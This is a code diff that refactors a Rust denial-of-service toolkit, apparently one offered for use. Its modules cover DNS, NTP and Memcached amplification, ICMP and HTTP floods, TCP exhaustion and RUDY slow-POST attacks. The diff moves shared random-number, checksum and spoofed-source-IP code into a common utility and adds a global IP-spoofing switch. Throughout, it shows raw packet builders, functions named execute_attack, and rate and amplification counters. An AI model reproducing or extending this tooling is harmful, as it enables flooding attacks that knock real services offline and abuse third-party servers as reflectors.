// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DNS QUERY BUILDER
|
||||
// ============================================================================
|
||||
@@ -246,7 +206,7 @@ impl PacketBuilder {
|
||||
// IP checksum
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -266,7 +226,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
|
||||
let udp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(udp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(udp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -278,34 +238,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
@@ -624,7 +556,7 @@ async fn execute_attack(config: DnsAmpConfig) -> Result<()> {
|
||||
"[*] Queries: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Resolvers: {} | Rate: {:>8.0} pkt/s ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, resolver_count, rate
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -346,7 +346,7 @@ async fn execute_attack(config: HttpFloodConfig) -> Result<()> {
|
||||
"[*] Sent: {:>10} | Recv: {:>10} | Err: {:>8} | Rate: {:>8.0} req/s | Last sec: {} ",
|
||||
sent, recv, err, rate, delta
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -49,108 +50,24 @@ struct IcmpFloodConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
/// Fill a buffer with pseudo-random bytes.
|
||||
#[inline]
|
||||
fn fill_bytes(&mut self, buf: &mut [u8]) {
|
||||
let mut i = 0;
|
||||
while i + 8 <= buf.len() {
|
||||
let val = self.next_u64().to_le_bytes();
|
||||
buf[i..i + 8].copy_from_slice(&val);
|
||||
i += 8;
|
||||
}
|
||||
if i < buf.len() {
|
||||
let val = self.next_u64().to_le_bytes();
|
||||
let remaining = buf.len() - i;
|
||||
buf[i..].copy_from_slice(&val[..remaining]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn gen_ipv4_public(rng: &mut FastRng) -> Ipv4Addr {
|
||||
loop {
|
||||
let raw = rng.next_u64() as u32;
|
||||
let octets = raw.to_be_bytes();
|
||||
match octets[0] {
|
||||
0 | 10 | 127 => continue,
|
||||
224..=255 => continue,
|
||||
172 if (16..=31).contains(&octets[1]) => continue,
|
||||
192 if octets[1] == 168 => continue,
|
||||
169 if octets[1] == 254 => continue,
|
||||
100 if (64..=127).contains(&octets[1]) => continue,
|
||||
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// INTERNET CHECKSUM (RFC 1071)
|
||||
// ============================================================================
|
||||
|
||||
/// Compute the Internet checksum over a byte slice.
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
/// Fill a buffer with pseudo-random bytes from the given RNG.
|
||||
#[inline]
|
||||
fn fill_bytes(rng: &mut FastRng, buf: &mut [u8]) {
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
while i + 8 <= buf.len() {
|
||||
let val = rng.next_u64().to_le_bytes();
|
||||
buf[i..i + 8].copy_from_slice(&val);
|
||||
i += 8;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
if i < buf.len() {
|
||||
let val = rng.next_u64().to_le_bytes();
|
||||
let remaining = buf.len() - i;
|
||||
buf[i..].copy_from_slice(&val[..remaining]);
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
|
||||
use crate::native::dos_utils::checksum_16;
|
||||
|
||||
// ============================================================================
|
||||
// RAW PACKET BUILDER — Spoofed mode (IP + ICMP)
|
||||
// ============================================================================
|
||||
@@ -209,7 +126,7 @@ impl SpoofedPacketBuilder {
|
||||
let len = self.template.len();
|
||||
buf[..len].copy_from_slice(&self.template);
|
||||
|
||||
let src_ip = gen_ipv4_public(rng);
|
||||
let src_ip = rng.gen_ipv4_public();
|
||||
let src_bytes = src_ip.octets();
|
||||
let ip_id = rng.next_u16();
|
||||
let icmp_id = rng.next_u16();
|
||||
@@ -238,7 +155,7 @@ impl SpoofedPacketBuilder {
|
||||
|
||||
// Fill payload with random bytes
|
||||
if self.payload_len > 0 {
|
||||
rng.fill_bytes(&mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
|
||||
fill_bytes(rng, &mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
|
||||
}
|
||||
|
||||
// ICMP checksum (over entire ICMP message: header + payload)
|
||||
@@ -288,7 +205,7 @@ impl IcmpOnlyBuilder {
|
||||
|
||||
// Payload: random bytes
|
||||
if self.payload_size > 0 {
|
||||
rng.fill_bytes(&mut buf[ICMP_HEADER_LEN..len]);
|
||||
fill_bytes(rng, &mut buf[ICMP_HEADER_LEN..len]);
|
||||
}
|
||||
|
||||
// ICMP checksum
|
||||
@@ -543,11 +460,8 @@ async fn gather_config(initial_target: &str) -> Result<IcmpFloodConfig> {
|
||||
payload_size = MAX_ICMP_PAYLOAD;
|
||||
}
|
||||
|
||||
let spoof_ip = cfg_prompt_yes_no(
|
||||
"spoof_ip",
|
||||
"Spoof source IP? (requires root, uses IP_HDRINCL)",
|
||||
false,
|
||||
).await?;
|
||||
let global_spoof = crate::native::dos_utils::is_spoof_enabled();
|
||||
let spoof_ip = cfg_prompt_yes_no("spoof_ip", "Spoof source IP? (requires root)", global_spoof).await?;
|
||||
|
||||
let ttl_input = cfg_prompt_default(
|
||||
"ttl",
|
||||
@@ -662,7 +576,7 @@ async fn execute_attack(config: IcmpFloodConfig) -> Result<()> {
|
||||
"[*] Packets: {:>12} | {:>8.2} MB | Rate: {:>10.0} pkt/s | {:>8.2} Mbps ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), rate, mbps
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -55,47 +56,6 @@ struct MemcachedAmpConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// RAW PACKET BUILDER (IP + UDP + Memcached payload)
|
||||
// ============================================================================
|
||||
@@ -176,7 +136,7 @@ impl PacketBuilder {
|
||||
// IP checksum
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -192,7 +152,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
|
||||
let udp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(udp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(udp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -204,34 +164,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
@@ -528,7 +460,7 @@ async fn execute_attack(config: MemcachedAmpConfig) -> Result<()> {
|
||||
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Servers: {} | Rate: {:>8.0} pkt/s ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, server_count, rate
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -46,47 +47,6 @@ struct NtpAmpConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// RAW PACKET BUILDER (IP + UDP + NTP payload)
|
||||
// ============================================================================
|
||||
@@ -167,7 +127,7 @@ impl PacketBuilder {
|
||||
// IP checksum
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -183,7 +143,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
|
||||
let udp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(udp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(udp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -196,34 +156,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
@@ -519,7 +451,7 @@ async fn execute_attack(config: NtpAmpConfig) -> Result<()> {
|
||||
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Servers: {} | Rate: {:>8.0} pkt/s ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, server_count, rate
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -11,7 +11,8 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -56,66 +57,6 @@ pub enum IntervalMode {
|
||||
DelayMicros(u64),
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
// ============================================================================
|
||||
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = SystemTime::now()
|
||||
.duration_since(SystemTime::UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0);
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = time_seed.rotate_left(17) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
let mut rng = Self { s0, s1 };
|
||||
for _ in 0..16 { rng.next_u64(); }
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u32(&mut self) -> u32 { self.next_u64() as u32 }
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 { self.next_u64() as u16 }
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
|
||||
loop {
|
||||
let octets = self.next_u32().to_be_bytes();
|
||||
match octets[0] {
|
||||
0 | 10 | 127 => continue,
|
||||
224..=255 => continue,
|
||||
172 if (16..=31).contains(&octets[1]) => continue,
|
||||
192 if octets[1] == 168 => continue,
|
||||
169 if octets[1] == 254 => continue,
|
||||
100 if (64..=127).contains(&octets[1]) => continue,
|
||||
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// RAW PACKET BUILDER — zero-copy, manual header construction
|
||||
// ============================================================================
|
||||
@@ -215,7 +156,7 @@ impl PacketBuilder {
|
||||
// IP checksum (over 20-byte header only)
|
||||
buf[10] = 0;
|
||||
buf[11] = 0;
|
||||
let ip_cksum = Self::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
let ip_cksum = crate::native::dos_utils::checksum_16(&buf[..IPV4_HEADER_LEN]);
|
||||
buf[10] = (ip_cksum >> 8) as u8;
|
||||
buf[11] = ip_cksum as u8;
|
||||
|
||||
@@ -236,7 +177,7 @@ impl PacketBuilder {
|
||||
sum += u16::from_be_bytes([src_ip[0], src_ip[1]]) as u32;
|
||||
sum += u16::from_be_bytes([src_ip[2], src_ip[3]]) as u32;
|
||||
let tcp_data = &buf[IPV4_HEADER_LEN..len];
|
||||
sum = Self::sum_16(tcp_data, sum);
|
||||
sum = crate::native::dos_utils::sum_16(tcp_data, sum);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
@@ -247,36 +188,6 @@ impl PacketBuilder {
|
||||
len
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn checksum_16(data: &[u8]) -> u16 {
|
||||
let mut sum = Self::sum_16(data, 0);
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn sum_16(data: &[u8], init: u32) -> u32 {
|
||||
let mut sum = init;
|
||||
let mut i = 0;
|
||||
let len = data.len();
|
||||
// Process 4 bytes at a time for speed
|
||||
while i + 3 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
|
||||
i += 4;
|
||||
}
|
||||
if i + 1 < len {
|
||||
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
|
||||
i += 2;
|
||||
}
|
||||
if i < len {
|
||||
sum += u16::from_be_bytes([data[i], 0]) as u32;
|
||||
}
|
||||
sum
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn packet_size(&self) -> usize { self.template.len() }
|
||||
}
|
||||
@@ -461,11 +372,8 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
|
||||
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
|
||||
};
|
||||
|
||||
let use_random_source_ip = cfg_prompt_yes_no(
|
||||
"spoof_ip",
|
||||
"Use random (spoofed) source IPs? (requires root)",
|
||||
false
|
||||
).await?;
|
||||
let global_spoof = crate::native::dos_utils::is_spoof_enabled();
|
||||
let use_random_source_ip = cfg_prompt_yes_no("spoof_ip", "Spoof source IP? (requires root)", global_spoof).await?;
|
||||
|
||||
let local_ip_override: Option<Ipv4Addr> = if !use_random_source_ip {
|
||||
let auto_ip = get_local_ipv4_for(target_ip).unwrap_or(Ipv4Addr::new(127, 0, 0, 1));
|
||||
@@ -610,7 +518,7 @@ async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
|
||||
"[*] Packets: {:>12} | {:>8.2} MB | Rate: {:>10.0} pkt/s | {:>6.3} Gbps ",
|
||||
pkts, bytes as f64 / (1024.0 * 1024.0), rate, gbps
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
@@ -639,8 +547,7 @@ async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
|
||||
}
|
||||
|
||||
fn get_local_ipv4_for(target: Ipv4Addr) -> Option<Ipv4Addr> {
|
||||
use std::net::UdpSocket;
|
||||
let socket = UdpSocket::bind("0.0.0.0:0").ok()?;
|
||||
let socket = crate::utils::network::blocking_udp_bind(None).ok()?;
|
||||
socket.connect(format!("{}:80", target)).ok()?;
|
||||
match socket.local_addr().ok()?.ip() {
|
||||
IpAddr::V4(ip) => Some(ip),
|
||||
|
||||
@@ -12,7 +12,6 @@ use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
|
||||
@@ -279,7 +278,7 @@ async fn execute_attack(config: RudyConfig) -> Result<()> {
|
||||
"[*] Active: {:>5} | Opened: {:>7} | Dripped: {:>10} B | Dropped: {:>7} | Reconn: {:>7} | {}s ",
|
||||
active, opened, drip, drops, reconns, elapsed
|
||||
).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
@@ -322,11 +321,8 @@ async fn open_rudy_connection(
|
||||
dripped: &AtomicU64,
|
||||
